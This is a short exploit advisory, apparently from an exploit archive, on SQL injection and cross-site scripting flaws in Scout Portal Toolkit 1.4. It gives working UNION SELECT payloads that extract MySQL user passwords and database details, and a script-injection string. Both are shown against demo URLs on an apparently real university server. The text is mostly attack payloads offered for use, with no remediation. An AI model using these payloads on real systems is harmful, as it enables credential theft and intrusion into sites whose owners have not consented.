Scout Portal Toolkit 1.4 XSS / SQL Injection

`.-----------------------------------------------------------------------------------------------  
  
.The Scout Portal Toolkit V1.4 - xss/sql injection Vulnerability  
.  
.-------------------------------------------------------------------------------------  
.(BrowseResources.php?ParentId=) SQL Injection  
.  
.(QuickSearch.php?ss=) Cross Site Scripting - XSS  
.  
.Project: - http://scout.wisc.edu/Projects/SPT/  
.-------------------------------------------------------------------------------------  
.Bug founded by d3v1l [Avram Marius] - [email protected]  
.  
.gR33TZ to all Security-Sh3ll staff/members  
.-------------------------------------------------------------------------------------  
.Poc-Exploit: -  
.  
.  
.-1 UNION SELECT concat(password,char(58),user) FROM mysql.user LIMIT 1,1/*  
.  
.-1 UNION SELECT concat_ws(0x3a,version(),database(),user()) LIMIT 1,1/*  
.-------------------------------------------------------------------------------------  
.Demo: -  
.  
.  
.  
http://walton.rockcluster.brown.edu/SPT/SPT--BrowseResources.php?ParentId=SQL  
--------------------------------------------------------------------------------------  
.XSS:-  
.  
.http://walton.rockcluster.brown.edu/SPT/SPT--QuickSearch.php?ss=  
"><script>alert(/XSS/)</script>  
.------------------------------------------------------------------------------------------------  
`